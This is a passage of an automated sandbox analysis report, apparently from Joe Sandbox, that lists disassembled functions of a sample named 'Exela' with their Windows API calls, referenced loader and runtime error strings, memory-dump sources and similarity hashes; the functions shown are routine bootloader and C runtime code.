Part of subcall function 00007FF6E3A68BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6E3A62A9B), ref: 00007FF6E3A68C0A

ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF6E3A679A1,00000000,?,00000000,00000000,?,00007FF6E3A6153F), ref: 00007FF6E3A6747F

Part of subcall function 00007FF6E3A62B10: MessageBoxW.USER32 ref: 00007FF6E3A62BE5

Strings

LOADER: Failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF6E3A674DA
LOADER: Failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF6E3A67493
LOADER: Failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF6E3A67456

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: LOADER: Failed to convert runtime-tmpdir to a wide string.$LOADER: Failed to expand environment variables in the runtime-tmpdir.$LOADER: Failed to obtain the absolute path of the runtime-tmpdir.
API String ID: 1662231829-3498232454
Opcode ID: 8743f48341130adb83b05e1f6ce01007e671de32885b94e340be128834149e90
Instruction ID: f25ef969ae2e0fb0b44e5647e60050bf4567ba371631e2a64e66db1ac097dfe0
Opcode Fuzzy Hash: 8743f48341130adb83b05e1f6ce01007e671de32885b94e340be128834149e90
Instruction Fuzzy Hash: 0031EB13B3978241FA20D72DD51B3B96A51AF987C0F440431DA4FE27D6ED2FE184870A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A6E1B8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF6E3A6E46A,?,?,?,00007FF6E3A6D39C,?,?,?,00007FF6E3A6CF91), ref: 00007FF6E3A6E23D
GetLastError.KERNEL32(?,?,?,00007FF6E3A6E46A,?,?,?,00007FF6E3A6D39C,?,?,?,00007FF6E3A6CF91), ref: 00007FF6E3A6E24B
LoadLibraryExW.KERNEL32(?,?,?,00007FF6E3A6E46A,?,?,?,00007FF6E3A6D39C,?,?,?,00007FF6E3A6CF91), ref: 00007FF6E3A6E275
FreeLibrary.KERNEL32(?,?,?,00007FF6E3A6E46A,?,?,?,00007FF6E3A6D39C,?,?,?,00007FF6E3A6CF91), ref: 00007FF6E3A6E2E3
GetProcAddress.KERNEL32(?,?,?,00007FF6E3A6E46A,?,?,?,00007FF6E3A6D39C,?,?,?,00007FF6E3A6CF91), ref: 00007FF6E3A6E2EF

Strings

api-ms-, xrefs: 00007FF6E3A6E25D

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 257efbe4257383a3eec37a8e0b20558c4c24ba0fcd14ee08d032d02959c7be2e
Instruction ID: b8d6c2cc6cc1df17d079a681fcfff3370438a4ebbfb5d2e7e44dcc960d1e7967
Opcode Fuzzy Hash: 257efbe4257383a3eec37a8e0b20558c4c24ba0fcd14ee08d032d02959c7be2e
Instruction Fuzzy Hash: 6331F623B2A64280EE15DB5EE502B753BD5BF84BA0F090531DD1EA7780DE3DE4C48309

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A68BD0 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6E3A62A9B), ref: 00007FF6E3A68C0A

Part of subcall function 00007FF6E3A629C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF6E3A688E2,?,?,?,?,?,?,?,?,?,?,?,00007FF6E3A6101D), ref: 00007FF6E3A629F4
Part of subcall function 00007FF6E3A629C0: MessageBoxW.USER32 ref: 00007FF6E3A62AD0

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6E3A62A9B), ref: 00007FF6E3A68C90

Strings

Failed to get wchar_t buffer size., xrefs: 00007FF6E3A68C17
MultiByteToWideChar, xrefs: 00007FF6E3A68C1E, 00007FF6E3A68CA1
win32_utils_from_utf8, xrefs: 00007FF6E3A68C59
Failed to decode wchar_t from UTF-8, xrefs: 00007FF6E3A68C9A
Out of memory., xrefs: 00007FF6E3A68C52

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 3723044601-876015163
Opcode ID: 83b31a2985e644c59f7e42e272613087ded70715f2d4689f177d6a205493e17b
Instruction ID: 88b500c7893b798163020b0979bcd4b06cf8812b6687daf1d6aafeb2962ed2a4
Opcode Fuzzy Hash: 83b31a2985e644c59f7e42e272613087ded70715f2d4689f177d6a205493e17b
Instruction Fuzzy Hash: 9F21B923B18A8281EB10CB1DF445265ABA1FFC57C4F584531DB4CE3769EF2ED5818705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7BCF0 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6E3A7BCFF
FlsGetValue.KERNEL32 ref: 00007FF6E3A7BD14
FlsSetValue.KERNEL32 ref: 00007FF6E3A7BD35
FlsSetValue.KERNEL32 ref: 00007FF6E3A7BD62
FlsSetValue.KERNEL32 ref: 00007FF6E3A7BD73
FlsSetValue.KERNEL32 ref: 00007FF6E3A7BD84
SetLastError.KERNEL32 ref: 00007FF6E3A7BD9F

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: ef37840ed9934c1aaeb06cf917a3ae799d9876d4d923df49702be147c9d5e414
Instruction ID: 08696cb200f6f968e296b7187f5548d7fbdc161b0b1e4b6c0cdcf4eaf92fd840
Opcode Fuzzy Hash: ef37840ed9934c1aaeb06cf917a3ae799d9876d4d923df49702be147c9d5e414
Instruction Fuzzy Hash: 2C21B362B0C24246FA646729D5973795A924F447B0F104734D93DF76DFDE2EA4C1830A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A88B9C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF6E3A88BCD
GetLastError.KERNEL32 ref: 00007FF6E3A88BD9
CloseHandle.KERNEL32 ref: 00007FF6E3A88BF1
CreateFileW.KERNEL32 ref: 00007FF6E3A88C1C
WriteConsoleW.KERNEL32 ref: 00007FF6E3A88C3B

Strings

CONOUT$, xrefs: 00007FF6E3A88BFD

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: c684c657c71cc66e393495913d92b804321d58ad0ed46cdbde63fde403b390ba
Instruction ID: a96c077d98128101159d141d18de8a328ec79bffc23f86b06fc3744a6517b13d
Opcode Fuzzy Hash: c684c657c71cc66e393495913d92b804321d58ad0ed46cdbde63fde403b390ba
Instruction Fuzzy Hash: BD118422718A8286E7508B5AF849329BBA4FB88FE4F044234D91DE7794DF3ED5848749

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7BE68 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6E3A75AAD,?,?,?,?,00007FF6E3A7F79F,?,?,00000000,00007FF6E3A7BF86,?,?,?), ref: 00007FF6E3A7BE77
FlsSetValue.KERNEL32(?,?,?,00007FF6E3A75AAD,?,?,?,?,00007FF6E3A7F79F,?,?,00000000,00007FF6E3A7BF86,?,?,?), ref: 00007FF6E3A7BEAD
FlsSetValue.KERNEL32(?,?,?,00007FF6E3A75AAD,?,?,?,?,00007FF6E3A7F79F,?,?,00000000,00007FF6E3A7BF86,?,?,?), ref: 00007FF6E3A7BEDA
FlsSetValue.KERNEL32(?,?,?,00007FF6E3A75AAD,?,?,?,?,00007FF6E3A7F79F,?,?,00000000,00007FF6E3A7BF86,?,?,?), ref: 00007FF6E3A7BEEB
FlsSetValue.KERNEL32(?,?,?,00007FF6E3A75AAD,?,?,?,?,00007FF6E3A7F79F,?,?,00000000,00007FF6E3A7BF86,?,?,?), ref: 00007FF6E3A7BEFC
SetLastError.KERNEL32(?,?,?,00007FF6E3A75AAD,?,?,?,?,00007FF6E3A7F79F,?,?,00000000,00007FF6E3A7BF86,?,?,?), ref: 00007FF6E3A7BF17

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: ddf8d81a22343009781cfd87416a9e8d85b9fb6f44d6b4a7416555ba1d33dd0c
Instruction ID: 2b51e0f90cf9ae944cb6fcab6f2f423a9693085b75c038c740e54d0e2ca60770
Opcode Fuzzy Hash: ddf8d81a22343009781cfd87416a9e8d85b9fb6f44d6b4a7416555ba1d33dd0c
Instruction Fuzzy Hash: A611A462B0D24242F658572DD5D73395A914F847B0F104734E92EF67DADE2EE4C1870A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A625E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00007FF6E3A627CF), ref: 00007FF6E3A62618
DialogBoxIndirectParamW.USER32 ref: 00007FF6E3A626DC
DeleteObject.GDI32 ref: 00007FF6E3A6270F
DestroyIcon.USER32 ref: 00007FF6E3A62721

Strings

Unhandled exception in script, xrefs: 00007FF6E3A62648

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 1f3d1521894b1493867d551a7722980cdb1a6c55e5d92a75b7aa063c884505e7
Instruction ID: fbde15b1d49aceafd418210be8eee6b8aac08693e61133e8d4b770a9d99c9ac6
Opcode Fuzzy Hash: 1f3d1521894b1493867d551a7722980cdb1a6c55e5d92a75b7aa063c884505e7
Instruction Fuzzy Hash: 73315133718A8285EB20EF29E8562F97761FF88784F400135EA4D97A99DF3ED185C705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A629C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000000,00007FF6E3A688E2,?,?,?,?,?,?,?,?,?,?,?,00007FF6E3A6101D), ref: 00007FF6E3A629F4

Part of subcall function 00007FF6E3A68560: GetLastError.KERNEL32(00000000,00007FF6E3A62A3E,?,?,?,?,?,?,?,?,?,?,?,00007FF6E3A6101D), ref: 00007FF6E3A68587
Part of subcall function 00007FF6E3A68560: FormatMessageW.KERNEL32 ref: 00007FF6E3A685B6

Part of subcall function 00007FF6E3A68BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6E3A62A9B), ref: 00007FF6E3A68C0A

MessageBoxW.USER32 ref: 00007FF6E3A62AD0
MessageBoxA.USER32 ref: 00007FF6E3A62AEC

Strings

%s%s: %s, xrefs: 00007FF6E3A62A4B
Fatal error detected, xrefs: 00007FF6E3A62AA6, 00007FF6E3A62ADE

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Message$ErrorLast$ByteCharFormatMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 2806210788-2410924014
Opcode ID: a22562a3e5708768cb0d15f904b55a8b62d2097d7bb286fe6f48fe5cd4d63a9f
Instruction ID: 1e0b2013a3a8e38d4aac186c3031369959380a8617ac776b1ef22cbcfa0fd859
Opcode Fuzzy Hash: a22562a3e5708768cb0d15f904b55a8b62d2097d7bb286fe6f48fe5cd4d63a9f
Instruction Fuzzy Hash: 1331A473728AC181E630DB18F4527EAB764FF84B84F404036E68DA2A99DF3DD285CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7A5F8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6E3A7A61D
GetProcAddress.KERNEL32 ref: 00007FF6E3A7A633
FreeLibrary.KERNEL32 ref: 00007FF6E3A7A65A

Strings

CorExitProcess, xrefs: 00007FF6E3A7A62C
mscoree.dll, xrefs: 00007FF6E3A7A614

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 8b09857164704210b2e0253d11d0b3fe713c31e540e9fb1e205907d45fa6ef0f
Instruction ID: 78978e1d9ddabc3906b6c976ac86fc406f9d4b1e52d2a182fd04012ce0a0d300
Opcode Fuzzy Hash: 8b09857164704210b2e0253d11d0b3fe713c31e540e9fb1e205907d45fa6ef0f
Instruction Fuzzy Hash: 1AF0FC63B09B4241FB108F2CE49A3359B30EF44760F440235D56E966E4CF2ED0C4C709

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A8A220 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6E3A8A248
_set_statfp.LIBCMT ref: 00007FF6E3A8A263
_set_statfp.LIBCMT ref: 00007FF6E3A8A27F
_set_statfp.LIBCMT ref: 00007FF6E3A8A2BB

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
Instruction ID: 8ea9dc302625d6226236e20e0d510e79bb2df9d8580ac4a2af24af2d64bf0346
Opcode Fuzzy Hash: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
Instruction Fuzzy Hash: 40116323F1CE8305F778195DD44F37529406F54360E150635E66EA62E6EE2FB8E1424B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7BF30 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF6E3A7B147,?,?,00000000,00007FF6E3A7B3E2,?,?,?,?,?,00007FF6E3A736AC), ref: 00007FF6E3A7BF4F
FlsSetValue.KERNEL32(?,?,?,00007FF6E3A7B147,?,?,00000000,00007FF6E3A7B3E2,?,?,?,?,?,00007FF6E3A736AC), ref: 00007FF6E3A7BF6E
FlsSetValue.KERNEL32(?,?,?,00007FF6E3A7B147,?,?,00000000,00007FF6E3A7B3E2,?,?,?,?,?,00007FF6E3A736AC), ref: 00007FF6E3A7BF96
FlsSetValue.KERNEL32(?,?,?,00007FF6E3A7B147,?,?,00000000,00007FF6E3A7B3E2,?,?,?,?,?,00007FF6E3A736AC), ref: 00007FF6E3A7BFA7
FlsSetValue.KERNEL32(?,?,?,00007FF6E3A7B147,?,?,00000000,00007FF6E3A7B3E2,?,?,?,?,?,00007FF6E3A736AC), ref: 00007FF6E3A7BFB8

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5469ad97ef1dc323ed31f4bb816bde73ef5dcee44b4409764bd7785a0893e436
Instruction ID: 5852da3cf4051964a9c51f912dd15012c5dcf6e0ddd86acfc6518c6fedbf6472
Opcode Fuzzy Hash: 5469ad97ef1dc323ed31f4bb816bde73ef5dcee44b4409764bd7785a0893e436
Instruction Fuzzy Hash: 601190A2B0D20201FA58676DE5E73391A815F807A0F144234E82DF66DEDE2EE582870A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A7BDC4 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF6E3A7BDD5
FlsSetValue.KERNEL32 ref: 00007FF6E3A7BDF4
FlsSetValue.KERNEL32 ref: 00007FF6E3A7BE1C
FlsSetValue.KERNEL32 ref: 00007FF6E3A7BE2D
FlsSetValue.KERNEL32 ref: 00007FF6E3A7BE3E

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 8f64e276412905fb556d0cf6e5ae689124ad209186916bebc7020e596f8a9cd9
Instruction ID: 1046b0aacbd204edbaa133d3ca5c151f62dd2860d835a5c85bde73305feb32bd
Opcode Fuzzy Hash: 8f64e276412905fb556d0cf6e5ae689124ad209186916bebc7020e596f8a9cd9
Instruction Fuzzy Hash: 8B111CA2B0D20745FA68662D94E73791A824F85374E244734DA3DFA2DBDD2EB5C1830F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A76A94 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A76AD0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A76BFA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A76CB0

Strings

verbose, xrefs: 00007FF6E3A76AA4

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 1c0dd48f447bd5919c4c0af8999980ceaa421a823445f2473d5a297136b7fe44
Instruction ID: 0165620456f5aed67b588693c8d80212ea9fe7d4883ba501a0ed758bc5c82500
Opcode Fuzzy Hash: 1c0dd48f447bd5919c4c0af8999980ceaa421a823445f2473d5a297136b7fe44
Instruction Fuzzy Hash: FC91E423B08A4681F7258F29D49637D3B90EB40B54F454136DA5DE73E9DE3EE885830A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A80B88 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A80E67

Part of subcall function 00007FF6E3A86FA4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A86FC1

Strings

UTF-16LEUNICODE, xrefs: 00007FF6E3A80E05
ccs, xrefs: 00007FF6E3A80DA2
UTF-8, xrefs: 00007FF6E3A80DE6

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: d575cc9c9c6fff3bb6b887c91fcc14de71c27d2c4b886d2e4095e12dd43ef316
Instruction ID: d6999650890fc1278c4508cf9ea6df2c8c29cacc5ceca0473d92ec169ac95582
Opcode Fuzzy Hash: d575cc9c9c6fff3bb6b887c91fcc14de71c27d2c4b886d2e4095e12dd43ef316
